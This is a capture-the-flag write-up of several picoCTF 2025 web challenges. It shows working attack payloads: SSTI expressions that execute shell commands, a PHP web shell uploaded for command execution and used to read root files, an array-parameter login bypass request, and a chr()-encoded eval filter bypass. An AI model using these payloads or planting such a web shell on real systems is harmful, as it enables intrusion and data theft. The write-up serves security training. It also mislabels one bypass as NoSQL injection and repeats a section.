picoCTF 2025
Web
Cookie Monster Secret Recipe
Cookie Monster has hidden his top-secret cookie recipe somewhere on his website. As an aspiring cookie detective, your mission is to uncover this delectable secret. Can you outsmart Cookie Monster and find the hidden recipe?
We are given a login webpage, and upon inspecting the cookies, we find the following:
1
secret_recipe:"cGljb0NURntjMDBrMWVfbTBuc3Rlcl9sMHZlc19jMDBraWVzXzZDMkZCN0YzfQ%3D%3D"
%3D represents = in URL encoding, meaning this is a Base64-encoded value.
Decoding the Base64 string reveals the flag:
When we decode the base64 value we get the flag.
1
2
$ echo "cGljb0NURntjMDBrMWVfbTBuc3Rlcl9sMHZlc19jMDBraWVzXzZDMkZCN0YzfQ==" | base64 -d
picoCTF{c00k1e_m0nster_l0ves_c00kies_6C2FB7F3}
head-dump
Welcome to the challenge! In this challenge, you will explore a web application and find an endpoint that exposes a file containing a hidden flag. The application is a simple blog website where you can read articles about various topics, including an article about API Documentation. Your goal is to explore the application and find the endpoint that generates files holding the server’s memory, where a secret flag is hidden.
We are given a blog, which contains a link to the API documentation. The Swagger API includes an endpoint called /headdump. When executed, it provides a file containing a memory dump.
A memory dump is a snapshot of a system’s memory at a specific point in time. It can contain sensitive data such as passwords, API key.
In this challenge, the /headdump endpoint leaks a portion of the server’s memory, which we can analyze to extract the flag.
Upon inspecting the dump file, we find the flag:
1
2
3
4
5
6
7
8
,1,146,174822
,1,147,174
picoCTF{Pat!3nt_15_Th3_K3y_46022a05}
828
,1,148,174834
,1,149,174840
n0s4n1ty 1
A developer has added profile picture upload functionality to a website. However, the implementation is flawed, and it presents an opportunity for you. Your mission, should you choose to accept it, is to navigate to the provided web page and locate the file upload area. Your ultimate goal is to find the hidden flag located in the /root directory.
When we upload a picture we get a message:
The file test.png has been uploaded Path: uploads/test.png
SSTI
I made a cool website where you can announce whatever you want! Try it out!
We are presented with a website that includes a simple text box. When testing the input, there is a Server-Side Template Injection (SSTI). When we enter the following: {{7*7}}, the server renders 49.
This indicates that the website is evaluating expressions within the template, allowing us to inject Python code. With this in mind, we can exploit this to interact with the server’s environment.
1
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
This command runs ls to list files in the current directory, resulting in:
1
__pycache__ app.py flag requirements.txt
Next, we attempt to read the flag by injecting:
1
{{config.__class__.__init__.__globals__['os'].popen('cat flag').read()}}
We get the flag:
1
picoCTF{s4rv3r_s1d3_t3mp14t3_1nj3ct10n5_4r3_c001_424a1494}
Apriti sesamo
I found a web app that claims to be impossible to hack!
There is a hint of an Emacs user in the fact that Emacs backup files are marked with a “~” at the end. So, if you access impossibleLogin.php~, you get an older version of the login form, containing the obfuscated login logic:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<!DOCTYPE html>
<html>
<head>
<title>Login Page</title>
</head>
<body style="text-align:center;">
<pre>
</pre>
<br/>
<form action="impossibleLogin.php" method="post">
<label for="username">Username:</label><br>
<input type="text" id="username" name="username"><br>
<label for="pwd">Password:</label><br>
<input type="password" id="pwd" name="pwd"><br><br>
<input type="submit" value="Login">
</form>
</body>
</html>
<?php if (
isset(
$_POST[
base64_decode("\144\130\x4e\154\x63\155\x35\x68\142\127\125\x3d")
]
) &&
isset($_POST[base64_decode("\143\x48\x64\x6b")])
) {
$yuf85e0677 =
$_POST[base64_decode("\144\x58\x4e\154\x63\x6d\65\150\x62\127\x55\75")];
$rs35c246d5 = $_POST[base64_decode("\143\x48\144\153")];
if ($yuf85e0677 == $rs35c246d5) {
echo base64_decode(
"\x50\x47\112\x79\x4c\172\x35\x47\x59\127\154\163\132\127\x51\x68\111\x45\x35\166\x49\x47\132\163\131\127\x63\x67\x5a\155\71\171\111\x48\x6c\166\x64\x51\x3d\x3d"
);
} else {
if (sha1($yuf85e0677) === sha1($rs35c246d5)) {
echo file_get_contents(
base64_decode(
"\x4c\151\64\166\x5a\x6d\x78\x68\x5a\x79\65\60\145\110\x51\75"
)
);
} else {
echo base64_decode(
"\x50\107\112\171\x4c\x7a\65\107\x59\x57\154\x73\x5a\127\x51\x68\x49\105\x35\x76\111\x47\132\x73\131\127\x63\x67\x5a\155\71\x79\x49\110\154\x76\x64\x51\x3d\75"
);
}
}
} ?>
We decode the escaped hex values using CyberChef’s “unescape” tool, and we get base64 values:
1
2
3
4
5
6
7
dXNlcm5hbWU=
cHdk
dXNlcm5hbWU=
cHdk
PGJyLz5GYWlsZWQhIE5vIGZsYWcgZm9yIHlvdQ==
Li4vZmxhZy50eHQ=
PGJyLz5GYWlsZWQhIE5vIGZsYWcgZm9yIHlvdQ==
Converting these from base64:
1
2
3
4
5
6
7
username
pwd
username
pwd
<br/>Failed! No flag for you
../flag.txt
<br/>Failed! No flag for you
When we put the decoded values back into the PHP code, we get a clearer vision of the login logic:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
if (isset($_POST["username"]) && isset($_POST["password"])) {
$username = $_POST["username"];
$password = $_POST["password"];
if ($username == $password) {
echo "<br>Success!<br>";
} else {
if (sha1($username) === sha1($password)) {
echo file_get_contents("../flag.txt");
} else {
echo "<br>Access Denied!<br>";
}
}
}
?>
At this point, I researched fell a bit in the rabbit hole of SHA-1 collisions. A collision occurs when two different inputs produce the same SHA-1 hash. While SHA-1 was once secure, advances in cryptanalysis have made it vulnerable.
In 2017, Google’s Shattered attack generated the first real SHA-1 collision using two specially crafted PDFs. However, this method doesn’t apply here since the login form requires user-controlled string inputs. Exploiting this would need a chosen-prefix collision, which is even harder to compute. For MD5 there are tools out there that can be used, for example hashclash but for SHA-1 it seems way harder.
Since the login form first checks if username == password before hashing, we can’t input the same value as well. So, I shifted my focus and found a NoSQL injection instead.
I realized that there aren’t many existing SHA-1 collisions, and they are mostly theoretical. The only example I could find was from Shattered.io, which uses two PDFs, but that doesn’t apply to this login form. So, in this case, it is effectively impossible to authenticate, as the code first checks if the username and password are the same, and only when they are different, it compares their hashes.
After digging deeper, I found a NoSQL injection vulnerability.
Here is the request I sent:
1
2
3
4
5
POST /impossibleLogin.php HTTP/1.1
Host: verbal-sleep.picoctf.net:49414
Referer: http://verbal-sleep.picoctf.net:49414/impossibleLogin.php~
username[$ne]=a&pwd[$ne]=b
The request returned the following HTML containing the flag:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
HTTP/1.1 200 OK
<!DOCTYPE html>
<html>
<head>
<title>Login Page</title>
</head>
<body style="text-align:center;">
<pre>
</pre>
<br/>
<form action="impossibleLogin.php" method="post">
<label for="username">Username:</label><br>
<input type="text" id="username" name="username"><br>
<label for="pwd">Password:</label><br>
<input type="password" id="pwd" name="pwd"><br><br>
<input type="submit" value="Login">
</form>
</body>
</html>
<br />
<b>Warning</b>: sha1() expects parameter 1 to be string, array given in <b>/var/www/html/impossibleLogin.php</b> on line <b>38</b><br />
<br />
<b>Warning</b>: sha1() expects parameter 1 to be string, array given in <b>/var/www/html/impossibleLogin.php</b> on line <b>38</b><br />
picoCTF{w3Ll_d3sErV3d_Ch4mp_d543c99c}
n0s4n1ty 1
A developer has added profile picture upload functionality to a website. However, the implementation is flawed, and it presents an opportunity for you. Your mission, should you choose to accept it, is to navigate to the provided web page and locate the file upload area. Your ultimate goal is to find the hidden flag located in the /root directory.
The following PHP code snippet demonstrates a simple web shell that can execute system commands:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html>
We get the message:
1
The file shell2.php has been uploaded Path: uploads/shell2.php
So we can access the page and perform command injection: “http://standard-pizzas.picoctf.net:63956/uploads/shell2.php?cmd=ls”
We can read the flag through injecting: sudo cat /root/flag.txt.
3v@l
ABC Bank’s website has a loan calculator to help its clients calculate the amount they pay if they take a loan from the bank. Unfortunately, they are using an eval function to calculate the loan. Bypassing this will give you Remote Code Execution (RCE). Can you exploit the bank’s calculator and read the flag?
We get a webpage that allows us to execute code through eval.
import(‘os’).popen(‘cat /flag.txt’).read()
It seems like certain keywords are blocked (such as os, exec)
import(‘builtins’).open(“/flag.txt”).read()
Error: Detected forbidden keyword ‘’.
we can encode the flag string in char to bypass this denylist:
1
2
3
4
5
command = '/flag.txt'
output = ''
for i in range(len(command)):
output += 'chr(' + str(ord(command[i])) + ')+'
print(output)
returns chr(47)+chr(102)+chr(108)+chr(97)+chr(103)+chr(46)+chr(116)+chr(120)+chr(116)
So we can use
1
' '.join(chr(i) for i in [47, 102, 108, 97, 103, 46, 116, 120, 116])
to construct the string “/flag.txt”.
1
__import__('builtins').open(''.join(chr(i) for i in [47, 102, 108, 97, 103, 46, 116, 120, 116])).read()

